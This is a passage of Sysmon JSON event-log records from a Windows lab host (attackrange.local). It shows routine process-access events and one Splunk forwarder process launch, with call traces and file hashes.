C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.203","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1946,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.203\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.203","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1947,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.203\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.203","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1948,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.219\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE8-5F2D-0000-00106C3E0300}\r\nTargetProcessId: 4024\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.219","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE8-5F2D-0000-00106C3E0300}","TargetProcessId":"4024","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1949,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.222\r\nProcessGuid: {90617006-3FE8-5F2D-0000-00102E3F0300}\r\nProcessId: 4004\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nFileVersion: 8.0.2\r\nDescription: splunkd service\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunkd.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" btool server list general --no-log\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589\r\nParentProcessGuid: {90617006-3FE8-5F2D-0000-00106C3E0300}\r\nParentProcessId: 4024\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nParentCommandLine: btool server list general --no-log","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.222","ProcessGuid":"{90617006-3FE8-5F2D-0000-00102E3F0300}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","FileVersion":"8.0.2","Description":"splunkd service","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunkd.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" btool server list general --no-log","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589","ParentProcessGuid":"{90617006-3FE8-5F2D-0000-00106C3E0300}","ParentProcessId":"4024","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","ParentCommandLine":"btool server list general --no-log","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1950,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.219\r\nSourceProcessGUID: {90617006-3FE8-5F2D-0000-00106C3E0300}\r\nSourceProcessId: 4024\r\nSourceThreadId: 4056\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nTargetProcessGUID: {90617006-3FE8-5F2D-0000-00102E3F0300}\r\nTargetProcessId: 4004\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+239c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2568|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2926|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+11cf|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+1245|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+aa24|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.219","SourceProcessGUID":"{90617006-3FE8-5F2D-0000-00106C3E0300}","SourceProcessId":"4024","SourceThreadId":"4056","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","TargetProcessGUID":"{90617006-3FE8-5F2D-0000-00102E3F0300}","TargetProcessId":"4004","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+239c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2568|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2926|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+11cf|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+1245|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+aa24|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1951,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.219\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE8-5F2D-0000-00102E3F0300}\r\nTargetProcessId: 4004\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.219","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE8-5F2D-0000-00102E3F0300}","TargetProcessId":"4004","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1952,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.219\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.219","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1953,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.219\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.219","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1954,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.219\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 